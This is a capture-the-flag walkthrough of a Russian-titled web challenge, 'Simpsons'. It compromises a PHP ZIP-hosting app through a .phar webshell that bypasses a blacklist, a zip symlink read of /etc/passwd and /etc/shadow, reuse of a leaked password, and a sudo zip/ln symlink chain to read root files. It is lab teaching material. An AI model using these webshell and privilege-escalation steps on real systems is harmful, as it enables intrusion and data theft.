Симпсоны (Simpsons)
Симпсоны (Simpsons)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: zip_extension_blacklist_bypass, phar_webshell_rce, zip_slip_symlink_read, predictable_md5_upload_path, htaccess_access_bypass, credential_reuse_su, sudo_zip_privesc, sudo_ln_symlink_chain, multi_part_flag_assembly
Summary
Walkthrough of the CUSTOM Web Симпсоны (Simpsons). Task: PHP ZIP-hosting app extracts uploads and prints contents; extension blacklist misses .phar. Solution: chain .phar webshell RCE (www-data) + zip --symlinks arbitrary read, reuse leaked creds to s
Description
Симпсоны. Казалось бы, причем тут Симпсоны?
English translation: "The Simpsons. Seemingly, what do the Simpsons have to do with it?"
A multi-stage web-to-root machine. Target 192.168.2.206 exposes a "ZIP Hosting" web
application. The goal is full compromise; the flag is split between mikki's home
directory and /root. The flag content itself is the punchline that answers the
description's question.
Analysis
Recon
nmap -sC -sV 192.168.2.206
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
53/tcp open domain (Docker embedded DNS 127.0.0.11 — RED HERRING, unresponsive)
80/tcp open http Apache
- Port 53 is Docker's internal resolver (
127.0.0.11) leaking out of the container — a red herring, it does not answer real queries. - Port 80 serves a ZIP Hosting app with an upload form posting to
upload.php(accepts.zip). robots.txtdisallows/secret.txt. Requesting/secret.txtreturns 403 Forbidden, and the Apache error page footer revealsApache Server at ... Port 8000— the real port the container listens on internally.
upload.php logic (recovered)
The application does the following:
php read-only • copy allowed// 1. Only the EXTENSION is validated if (pathinfo($file_name, PATHINFO_EXTENSION) !== "zip") { die("only zip"); } // 2. Stored under a PREDICTABLE path: md5 of the ORIGINAL filename $path = "/var/www/html/uploads/" . md5($file_name); $file_path = "uploads/" . md5($file_name) . ".zip"; // 3. Extract with an extension BLACKLIST shell_exec("unzip $file_path -x '*.php' -x '*.html' -x '*.php3' " . "-x '*.php4' -x '*.php5' -x '*.phtml' -d $path"); // 4. Print extracted contents back to the user echo shell_exec("cat $path/* 2>&1");
Two distinct vulnerabilities fall out of this:
- Webshell upload via blacklist bypass — the
-xexclusions coverphp/html/php3/php4/php5/phtmlbut not.phar. Apache executes.pharas PHP, so a zip containingshell.pharyields RCE. - Arbitrary file read via Zip-Slip symlink — a zip created with
zip --symlinkspreserves symlinks on extraction, andcat $path/*then follows the symlink and prints the target file content.
The path is fully predictable because it is md5(original_filename).
Solution
Step 1 — RCE as www-data (.phar webshell)
bash read-only • copy allowed# Build the webshell zip printf '<?php system($_GET["c"]); ?>' > shell.phar zip shtest.zip shell.phar # md5("shtest.zip") = 6256aeea0e829dd7156d3c80f6c3b57d
Upload shtest.zip via the form, then trigger:
bash read-only • copy allowedMD5=6256aeea0e829dd7156d3c80f6c3b57d curl "http://192.168.2.206/uploads/$MD5/shell.phar?c=id" # uid=33(www-data) gid=33(www-data) groups=33(www-data)
(.pht extracts too, but only .phar is executed by this Apache config.)
Step 2 — Arbitrary read primitive (Zip-Slip symlink)
bash read-only • copy allowedln -s /etc/passwd s_link zip --symlinks slink.zip s_link # upload slink.zip -> the page prints /etc/passwd via `cat $path/*`
/etc/passwd reveals user mikki (uid 1000, home /home/mikki, shell /bin/sh).
Step 3 — Credential leak and lateral movement to mikki
/var/www/html/secret.txt is blocked over HTTP only by an .htaccess
Deny from all rule on a <Files> block. From the webshell that ACL is irrelevant:
bash read-only • copy allowedcurl "http://192.168.2.206/uploads/$MD5/shell.phar?c=cat%20/var/www/html/secret.txt" # mikki : mase4mase
/home/mikki/first_part is mode -r-------- owned by mikki (unreadable by www-data),
so reuse the leaked password to su:
bash read-only • copy allowedecho mase4mase | su mikki -c "cat /home/mikki/first_part" # CODEBY{REDACTED
That is the first half of the flag.
Step 4 — Privilege escalation to root (sudo zip + sudo ln symlink chain)
As mikki:
bash read-only • copy allowedsudo -l # (root) NOPASSWD: /usr/bin/zip data.zip /var/www/*output # (root) NOPASSWD: /usr/bin/ln -s /var/www/* output
Both rules are constrained:
- the
lnrule only allows a symlink source under/var/www/*; - the
ziprule globs/var/www/*output.
The trick is a two-level symlink chain. zip (run as root) follows symlinks and
stores the target's content, so we point the chain at a root-owned file:
bash read-only • copy allowed# (a) As www-data: the uploads dir <md5> is world-writable (777). # Create a pivot symlink there (its path is under /var/www, satisfying the ln rule). ln -s /root/last_part /var/www/html/uploads/$MD5/pivot # (b) As mikki: create `output` -> pivot. Source is under /var/www, so sudo ln allows it. sudo /usr/bin/ln -s /var/www/html/uploads/$MD5/pivot output # (c) As mikki: zip the `output` path; it matches the /var/www/*output glob. # zip runs as root and follows output -> pivot -> /root/last_part. sudo /usr/bin/zip data.zip /var/www/html/uploads/$MD5/output # (d) Read the root-owned content stored in the archive. unzip -p data.zip # REDACTED}
The primitive was first verified by reading /etc/shadow (mikki's hash present). The
correct root filename last_part was found by brute-forcing candidate names
(second_part, flag.txt, root.txt, last_part, ...) through the same zip primitive.
Step 5 — Assemble the flag
first_part = CODEBY{REDACTED
last_part = REDACTED}
flag = CODEBY{REDACTED}
The decoded flag — "I haven't seen the Simpsons in a long time" — is the punchline answering the description's question "what do the Simpsons have to do with it?".
Key Takeaways / Lessons
- Mastering zip_extension_blacklist_bypass, phar_webshell_rce, zip_slip_symlink_read, predictable_md5_upload_path, htaccess_access_bypass, credential_reuse_su, sudo_zip_privesc, sudo_ln_symlink_chain, multi_part_flag_assembly was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-05 • CUSTOM • Симпсоны (Simpsons) • Difficulty: Medium